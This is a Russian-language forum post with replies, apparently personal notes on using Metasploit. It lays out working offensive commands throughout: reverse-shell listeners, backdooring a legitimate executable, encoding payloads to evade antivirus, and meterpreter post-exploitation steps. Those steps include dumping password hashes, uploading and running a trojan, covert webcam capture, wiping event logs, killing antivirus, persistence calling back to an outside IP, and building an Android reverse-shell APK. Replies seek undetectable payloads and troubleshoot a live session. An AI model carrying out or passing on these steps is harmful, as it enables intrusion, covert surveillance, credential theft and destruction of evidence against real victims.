Всем привет. Пришлось позаморачиваться с метасплоитом и решил сделать несколько заметочек. Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите. Что это почитать можно здесь и ещё огромная куча тем. В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь. Далее ссылочки из трёх книженций откуда впринципе и взята эта информация METASPLOIT UNLEASHED Metasploit Penetration Testing Cookbook Metasploit The Penetration Tester’s Guide Для кого статья? В первую очередь для меня. =) А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут. Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная статья эксплоита Buffer over Flow (позже напишем и об этом что - нибудь). msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера) Традиционный способ Code: msfconsole или msfconsole '-x use exploit/multy/handler' use exploit/multy/handler SET LHOST наш хост SET LPORT наш порт, который слушаем. SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже) exploit Тоже самое Code: - msfcli exploit/multi/handler LHOST=host LPORT=1337 PAYLOAD=windows/meterpreter/reverse_tcp E Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться. Едем дальше SETG - очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п. Code: msf> setg LHOST 192.168.1.0 msf> save При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет. -> show encoders - Список активных енкодеров В основном их названия говорят за себя Code: cmd/generic_sh generic/none The "none" Encoder mipsbe/longxor XOR Encoder ................................ x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder Можно комбинировать енкодеры командой + Code: msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai + mipsbe/longxor -c 3 где, c - количество итераций. -> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п. Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmap со всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом; -> show payloads - Вывод всех полезных нагрузок. Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более легковесное или под другую архитектуру. Виды payloads. Single - одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора). Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения. Stages - Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти. Генерация payload (полезно, когда надо использовать в своем коде) Code: msf > use payload/windows/shell/bind_tcp .............Устанавливаем параметры........................ msf payload(bind_tcp) > generate "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x..............\x01\xc3\x29\xc6\x85" + "\xf6\x75\xec\xc3" Далее эту строку можно впиливать в любую программку или просто кидать в сокет. Далее поговорим о метерпретере (хотя это всё это можно проделать и не только в нём); Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять? hashdump - Старый добрый файл SAM migrate - Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым. shell - Переход в командный режим upload evil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра execute -f evil_trojan.exe -i -H - а затем его выполнение webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах clearev - Очистить журнал use sniffer - снииффер трафика. sniffer_start 1 - запуск сниффера с активной сетевой карты sniffer_dump - снять полученные пакеты route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети run checkvm - А вот как раз узнать находимся ли мы на виртуалке. run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь). run killav - убийца антивирусов. run getgui - Включает (а точнее пытается) включить rdp'шечку run gettelnet - без комментариев run get_local_subnets - получить имя подсети run hostsedit -e 10.211.55.162,www.microsoft.com, известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много. run remotewinenum - Сборщик информации О СИСТЕМЕ run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает. run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд. portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети. И это не всё. Список всех пост модулей можно глянуть командой show posts Как же нам сгенерировать свою полезную нагрузку? Code: msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe где -e тип енкодера, а i - кол-во итераций, но имейте ввиду что stagers нагрузки менее заметны для антивирусов, чем satges. Автоматическая подгрузка сценариев: Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через известный сплоит bypass_uac Без лишних слов, просто как это сделать: Code: use <name exploit> set LHOST <inner_ip> .................. set PAYLOAD <pyaload_meterpreter> set AUTORUNSCRIPT exploit/windows/local/bypassuac Вот как раз последняя строчка и отвечает за то что подгрузить при успешной создании сессии. Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации. Пример: set InitialAutoRunScript 'migrate -f' Свои сценарии Пришло время автоматизировать процесс и написать свой сценарий для метрпретера. Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности метаплоита. Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда http://lockboxx.blogspot.ru/2013/06/scripting-metasploit-easy-resource.html) Выглядит скрипт руби так Code: #calling ruby < ruby > run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}") run_single("db_nmap -sS -Pn -n --script=ftp-vuln-cve2010-4221.nse -p 21 #{framework.datastore['RHOSTS']}") run_single("services #{framework.datastore['RHOSTS']}") run_single("vulns #{framework.datastore['RHOSTS']}") < / ruby > И вызываем его в консоли метасплоита командой resource scanner.rc Другой листинг Code: #chaining common scanners use auxiliary/scanner/snmp/snmp_enum run use auxiliary/scanner/snmp/snmp_login run use auxiliary/scanner/snmp/snmp_enumusers run use auxiliary/scanner/snmp/snmp_enumshares run use auxiliary/scanner/nfs/nfsmount run use auxiliary/scanner/vnc/vnc_none_auth run Аналогично предыдущему, но уже предопределенные настройки метасплоита необходимо установить командой setg. База данных метасплоита После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status. Рассмотрим основные действия в базе: workspace - отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети. workspace lab1 - переключает текущее рабочее пространство на lab1; workspace -a laba1 - создание рабочей области (сохраняет все результаты сканирования сохранены здесь) db_nmap добавить в базу хост с помощью сканера nmap (об этом можно почитать здесь) hosts - Выводить информацию о хостах в различном виде; services - Выводить информацию о сервисах в различном виде; loot - сохранение дампа хэш-файла операционной системы Далее поговорим о Карметасплоите, wmap (устаревший модуль для сканирования веб приложений), интеграция с nessus, nexpose, beef, empire и созданию своих сплоитов (не зеро дей )))). Всем спасибо! Недочеты и аргументированная критика есть гуд.
Очень позновательный топик... У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем? Увиличивал кол-во интераций один фиг удаляется...
Спасибо, Я на самом деле, в последнее время на другом борде зависаю, вот тут моя статья о том как забайпассить AV msf - payload с помощью C#. https://codeby.net/forum/threads/av-bypass-s-pomoschju-c.58637/
в общем вроде делаю всё по сценарию: ОС Kali 2 мой_ip=192.168.0.103 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.0.103 set lport 8080 exploit собственно потом вижу это: [*] Started reverse TCP handler on 192.168.0.103:8080 [*] Starting the payload handler... [*] Sending stage (63194 bytes) to 192.168.0.100 [*] Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000 [*] 192.168.0.100 - Meterpreter session 1 closed. Reason: Died [-] Invalid session identifier: 1 интересны возможные причины и способы их обойти/устранить
Если не затруднит, напиши пожалуйста готовый пример этой строки не совсем понятно когда выполнять данную операцию